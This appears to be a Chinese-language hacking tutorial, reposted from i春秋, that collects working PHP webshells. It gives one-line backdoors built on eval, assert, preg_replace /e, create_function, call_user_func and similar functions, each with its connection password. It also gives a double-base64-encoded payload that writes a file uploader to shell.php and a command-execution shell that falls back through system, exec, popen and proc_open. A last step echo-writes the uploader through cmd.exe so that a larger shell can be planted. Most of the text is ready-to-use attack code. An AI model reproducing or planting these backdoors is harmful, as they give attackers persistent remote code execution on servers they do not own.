轉自i春秋
1、eval()函數
#傳入的參數必須為PHP代碼,既需要以分號結尾。 #命令執行:cmd=system(whoami); #菜刀連接密碼:cmd <?php @eval($_POST['cmd']);?>
那么當我們上傳了eval函數的菜刀馬之后,在連接不上菜刀的情況下怎么上傳大馬呢?繼續往下看
這里我是先寫一個上傳馬,再用上傳馬去上傳大馬,有點多次一舉,但是考慮到大馬代碼量太多,還是建議先寫個上傳馬,以下代碼只有1kb。
<?php @$temp = $_FILES['upload_file']['tmp_name']; @$file = basename($_FILES['upload_file']['name']); if (empty ($file)){ echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>
原理是利用文件操作函數如下:
fputs(fopen(shell.php,w),xxxx);
寫入xxxx到腳本執行文件當前目錄下的shell.php文件。
由於是利用post傳參,不能出現【<】【>】【+】【=】【/】等符號,所以這里我們需要把代碼編碼一下,將上面的上傳代碼進行兩次base64編碼(為了去除=號)。
☆☆☆在編碼的時候空格和回車都會影響編碼后的結果,因此建議大家直接復制我上面的上傳馬或者用下面我編碼好的,或者自己去慢慢嘗試直到base64編碼后為一串自由數字和字母的字符串即可。
接下來利用文件操作函數寫入上傳馬,注意不要忘了最后的分號。
cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
成功得到上傳馬,之后就是上傳我們的大馬了。
2、assert()函數
#assert函數是直接將傳入的參數當成PHP代碼直接,不需要以分號結尾,當然你加上也可以。 #命令執行:cmd=system(whoami) #菜刀連接密碼:cmd <?php @assert($_POST['cmd'])?>
上傳大馬,這一步參考eval函數。
其他的代碼執行函數還有以下幾個,均給出了菜刀馬和連接方式:
3、preg_replace()
#preg_replace('正則規則','替換字符','目標字符') #執行命令和上傳文件參考assert函數(不需要加分號)。 #將目標字符中符合正則規則的字符替換為替換字符,此時如果正則規則中使用/e修飾符,則存在代碼執行漏洞。 preg_replace("/test/e",$_POST["cmd"],"jutst test");
這里可以使用chr()函數轉換ASCII編碼來執行代碼。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
4、create_function()函數
#創建匿名函數執行代碼 #執行命令和上傳文件參考eval函數(必須加分號)。 #菜刀連接密碼:cmd $func =create_function('',$_POST['cmd']);$func();
5、array_map()函數
#array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用后的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。 #命令執行http://localhost/123.php?func=system cmd=whoami #菜刀連接http://localhost/123.php?func=assert 密碼:cmd $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array;
6、call_user_func()函數
#傳入的參數作為assert函數的參數 #cmd=system(whoami) #菜刀連接密碼:cmd call_user_func("assert",$_POST['cmd']);
7、call_user_func_array()函數
#將傳入的參數作為數組的第一個值傳遞給assert函數 #cmd=system(whoami) #菜刀連接密碼:cmd $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array);
8、array_filter()函數
#用回調函數過濾數組中的元素:array_filter(數組,函數) #命令執行func=system&cmd=whoami #菜刀連接http://localhost/123.php?func=assert 密碼cmd $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func);
9、uasort()函數
#php環境>=<5.6才能用 #uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。 #命令執行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami); #菜刀連接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密碼:cmd usort($_GET,'asse'.'rt');
二、命令執行函數
PHP執行系統命令的有幾個常用的函數,如有:system函數、exec函數、popen函數,passthru,shell_exec函數他們都可以執行系統命令,下面是我整理的一個命令馬,把常見的命令執行函數都做了一個梳理,如果大家還有什么新的思路或見解,可以一起交流交流。
<?php $command=$_POST['cmd']; #function exec_all($command) #{ //system函數可執行並直接顯示結果 if(function_exists('system')) { echo "<pre>"; system($command); echo "</pre>"; } //passthru函數可執行並直接顯示結果 else if(function_exists('passthru')) { echo "<pre>"; passthru($command); echo "</pre>"; } //shell_exec函數可執行但需要加echo才能顯示結果 else if(function_exists('shell_exec')) { echo "<pre>"; echo shell_exec($command); echo "</pre>"; } //function exec(命令,以數組形式的保存結果,命令執行的狀態碼) //可執行,但需要加echo才能顯示結果 else if(function_exists('exec')) { echo "<pre>"; exec($command,$output); echo "</br>"; print_r($output); echo "</pre>"; } //popen函數:打開一個指向進程的管道,該進程由派生指定的 command 命令執行而產生。 //返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用於讀或寫) //此指針可以用於 fgets(),fgetss() 和 fwrite()。並且必須用 pclose() 來關閉。 //若出錯,則返回 false。 else if(function_exists('popen')) { $handle = popen($command , "r"); // Open the command pipe for reading if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { echo "<pre>"; while(!feof($handle)) { echo fread($handle, 1024); } echo "</pre>"; } else if(function_exists('fgets') && function_exists('feof')) { echo "<pre>"; while(!feof($handle)) { echo fgets($handle,1024); } echo "<pre>"; } } pclose($handle); } //proc_open — 執行一個命令,並且打開用來輸入/輸出的文件指針。 else if(function_exists('proc_open')) { $descriptorspec = array( 1 => array("pipe", "w"), // stdout is a pipe that the child will write to ); $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes' if(is_resource($handle)) { if(function_exists('fread') && function_exists('feof')) { echo "<pre>"; while(!feof($pipes[1])) { echo fread($pipes[1], 1024); } echo "</pre>"; } else if(function_exists('fgets') && function_exists('feof')) { echo "<pre>"; while(!feof($pipes[1])) { echo fgets($pipes[1],1024); } echo "<pre>"; } } #pclose($handle); } else { echo 'GG'; } #}
其他函數:
暫時就知道其他兩個函數,不過也都是基於以上的函數所變化的。
<?php $cmd=$_POST['cmd']; echo "<pre>"; //可執行並直接顯示結果,反引號,波浪鍵。 //shell_exec() 函數實際上僅是反撇號 (`) 操作符的變體 //所以如果把shell_exec()函數禁用了,反撇號 (`)也是執行不了命令的。 echo `$cmd`; //注意,這個只顯示結果的第一行,因此基本只能執行whoami //ob_start:打開緩沖區,需要system函數開啟 $a = 'system'; ob_start($a); echo "$_POST[cmd]"; ob_end_flush(); echo "</pre>";
上面講完命令執行命令,也都可以執行命令了,那么如何利用這些命令馬來進一步上傳我們的大馬呢,這里就要涉及到一下CMD命令了,有興趣的同學可以去參考鏈接查看《CMD命令特殊符號》的文章。
這里了我是用echo寫文件的思路,遺忘大佬教的用msf結合命令行去下載大馬我暫時還沒去實踐,就留着以后有時間再寫了,廢話不多說,開干吧!
然后用【echo】命令寫入我們的上傳馬
☆☆☆這里注意【<】【>】【&】這三個字符在CMD命令行中有特殊意義,需要在前面加【^】進行轉義,可以用文本的替換來實現這個功能。
寫入成功之后就可以上傳我們的大馬啦 ^-^!